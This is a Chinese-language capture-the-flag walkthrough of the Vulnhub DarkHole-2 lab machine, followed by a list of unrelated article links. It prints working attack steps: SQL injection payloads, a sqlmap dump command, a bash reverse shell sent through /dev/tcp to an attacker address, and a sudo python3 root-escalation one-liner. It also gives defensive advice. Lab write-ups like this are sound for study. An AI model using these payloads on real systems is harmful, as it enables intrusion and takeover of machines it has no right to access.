当前位置: 首页 > news >正文

DarkHole-2 靶机渗透:从 Git 泄露到 Python Sudo 提权的 5 步完整复现

DarkHole-2 靶机渗透实战:从 Git 泄露到 Python Sudo 提权的深度解析

1. 靶机环境与渗透测试概述

DarkHole-2 是 Vulnhub 平台上的一款中等难度渗透测试靶机,专为网络安全学习者和渗透测试初学者设计。这个靶机模拟了一个存在多个安全漏洞的 Web 应用环境,涵盖了从信息收集到权限提升的完整渗透流程。

核心渗透路径

  • .git目录泄露导致源码暴露
  • 基于源码分析的凭证获取
  • SQL 注入漏洞利用
  • 内网服务端口转发与利用
  • Python Sudo 权限提升

2. 信息收集与初始访问

2.1 网络扫描与端口探测

使用 Nmap 进行基础扫描是渗透测试的第一步,它能帮助我们快速识别目标系统开放的服务和潜在攻击面:

nmap -sV -p- 192.168.56.105

典型扫描结果

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.29

2.2 Web 目录枚举与 Git 泄露

通过目录扫描工具发现.git目录是本次渗透的关键突破口。使用git-dumper工具可以完整下载 Git 仓库:

pip install git-dumper git-dumper http://192.168.56.105/.git/ darkhole_src

Git 历史分析技巧

  1. 查看提交记录:git log
  2. 分析代码变更:git diff <commit_hash>
  3. 恢复删除内容:git checkout <file_path>

提示:Git 泄露常导致敏感信息暴露,如数据库凭证、API 密钥等,应作为渗透测试的重点检查项。

3. SQL 注入漏洞深度利用

3.1 手动注入技术解析

通过分析获取的源码,发现id参数存在字符型单引号闭合的 SQL 注入。以下是完整的注入流程:

注入点验证

?id=1' and '1'='1 -- 页面正常 ?id=1' and '1'='2 -- 页面异常

列数判断

?id=1' order by 6-- - -- 正常 ?id=1' order by 7-- - -- 报错

联合查询利用

?id=-1' union select 1,database(),3,4,5,6-- -

3.2 自动化工具与手动注入对比

方法优点缺点
手动注入精准控制,绕过WAF耗时,技术要求高
sqlmap自动化,功能全面特征明显,易被拦截

sqlmap 基本用法

sqlmap -u "http://192.168.56.105/dashboard.php?id=1" --cookie="PHPSESSID=xxx" -D darkhole_2 --dump

4. 内网横向移动技术

4.1 SSH 凭证利用

从 SQL 注入获取的 SSH 凭证(jehad/fool)可用于建立初始立足点:

ssh jehad@192.168.56.105

基础权限检查命令

id # 查看当前用户权限 sudo -l # 检查sudo权限 find / -perm -u=s -type f 2>/dev/null # 查找SUID文件

4.2 端口转发与本地服务利用

发现靶机内部运行的 9999 端口服务是关键突破口。通过 SSH 本地端口转发实现访问:

ssh -L 9999:localhost:9999 jehad@192.168.56.105

Web 命令执行漏洞利用

curl "http://localhost:9999/?cmd=whoami" # 确认命令执行 curl "http://localhost:9999/?cmd=bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1'" # 反弹shell

5. 权限提升与 root 获取

5.1 历史记录分析

通过检查用户历史记录发现关键线索:

cat /home/losy/.bash_history

5.2 Python Sudo 提权技术

发现 losy 用户具有无需密码执行 Python 的特权,这是典型的权限配置错误:

sudo -l # 显示:(root) NOPASSWD: /usr/bin/python3

提权利用代码

sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

原理分析

  1. os.setuid(0)将进程用户ID设置为root
  2. os.system()以root权限执行系统命令
  3. 整个过程利用了错误的sudo配置绕过密码验证

6. 防御建议与安全加固

6.1 Git 泄露防护

  • 生产环境禁用.git目录访问
  • 使用git-secrets扫描敏感信息
  • 部署前清理提交历史

6.2 SQL 注入防护

// 不安全方式 $query = "SELECT * FROM users WHERE id = '$_GET[id]'"; // 安全方式(使用预处理) $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]);

6.3 权限配置最佳实践

  • 遵循最小权限原则
  • 定期审计sudoers文件
  • 避免直接授权解释器执行权限

7. 渗透测试方法论总结

DarkHole-2 靶机展示了从外网渗透到内网横向移动,最终获取系统最高权限的完整过程。在实际渗透测试中,这种系统性的思维方式比单个漏洞利用更为重要。每个环节获取的信息都应被充分记录和分析,因为它们可能成为后续攻击的跳板。

http://www.jsqmd.com/news/1166877/

相关文章:

  • ArcGIS Pro 3.2 三维模型与矢量叠加:5步解决高程错位与视觉贴合问题
  • OBS多平台直播插件终极指南:5分钟学会obs-multi-rtmp一键推流
  • 为什么选择gift-book?5大核心优势让红白喜事礼金管理更简单
  • AirDropPlus 终极指南:5个维度解析Windows与iOS跨平台文件传输的技术突破
  • PIC18F2455与CMT-8540S-SMT在嵌入式音频中的应用
  • Rustic与rust-mode深度对比:为什么它是Emacs Rust开发的最佳选择?
  • TMC7300与PIC18LF25K80驱动有刷直流电机方案解析
  • vllm0.9.2的cpu版本用docker部署qwen3:0.6B
  • 为什么你的V7生成图仍显“塑料感”?——V7纹理增强模块的3层权重调控逻辑(附官方未公开CLI参数)
  • VS2015/2017/vsCode C++ 报错解决方案 笔记
  • (4-2)A*
  • ptpd2提示failed to join the multicast group (strerror: No buffer space available)
  • 排序算法-冒泡排序
  • 9大网盘直链解析工具LinkSwift:彻底告别下载限速的终极解决方案
  • MJ V6出图崩坏?紧急修复清单:3分钟定位--tile错配、--stylize漂移、--v 6.2内核兼容性漏洞
  • GitHub加速终极指南:如何让你的下载速度提升10倍以上?
  • 如何将微信对话转化为永久数字资产:WeChatMsg数据管理完全指南
  • 2026淮海经济区多场景腻子粉建材采购供应商指南 - 起跑123
  • 5分钟解锁Kodi播放115网盘高清视频的完美方案
  • Animal-AI环境实战:基于动物认知的AI智能体测试与强化学习训练
  • H3C 云化园区网络 V100R023C10 部署:基于意图的 3 步配置与自动化运维实战
  • 【Midjourney批量生成黄金法则】:20年AI图像工程师亲授17种高效批量提示词架构与错误规避清单
  • 【RPA已死?AI Agent崛起真相】:Gartner认证架构师独家披露——传统RPA在2024 Q3后将面临3类不可逆失效场景
  • 抖音下载终极神器:douyin-downloader一键批量保存去水印工具全解析
  • BepInEx macOS开发实战:从源码编译到插件部署的完整指南
  • Grouper入门教程:从安装到生成首份组策略安全报告的完整步骤
  • Elsevier Tracker:科研投稿的智能追踪神器,彻底告别焦虑等待
  • Arduino Uno R3开发板入门学习笔记
  • 2026年7月上海宏碁售后本地化服务全景|交通指引气候养护到店全攻略.txt - 数码品牌推荐
  • 蓝牙5.4音频开发:IDC777-1模块与PIC18F4620实战